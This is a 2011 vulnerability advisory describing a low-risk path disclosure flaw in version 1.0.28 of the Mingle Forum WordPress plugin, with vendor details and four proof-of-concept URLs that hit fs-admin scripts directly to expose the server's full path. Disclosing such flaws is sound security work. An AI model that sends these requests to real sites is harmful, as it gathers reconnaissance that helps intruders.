HTB22849: Path disclosure in Mingle Forum wordpress plugin

Vulnerability ID: HTB22849
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_mingle_forum_wordpress_plugin.html
Product: Mingle Forum wordpress plugin
Vendor: Cartpauj ( http://cartpauj.com/ )
Vulnerable Version: 1.0.28
Vendor Notification: 15 February 2011
Vulnerability Type: Path disclosure
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/mingle-forum/fs-admin/wpf-*.php" scripts, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

The following PoC is available:

http://[host]/wp-content/plugins/mingle-forum/fs-admin/wpf-usergroup-edit.php
http://[host]/wp-content/plugins/mingle-forum/fs-admin/wpf-add-group.php
http://[host]/wp-content/plugins/mingle-forum/fs-admin/wpf-add-forum.php
http://[host]/wp-content/plugins/mingle-forum/fs-admin/wpf-moderator.php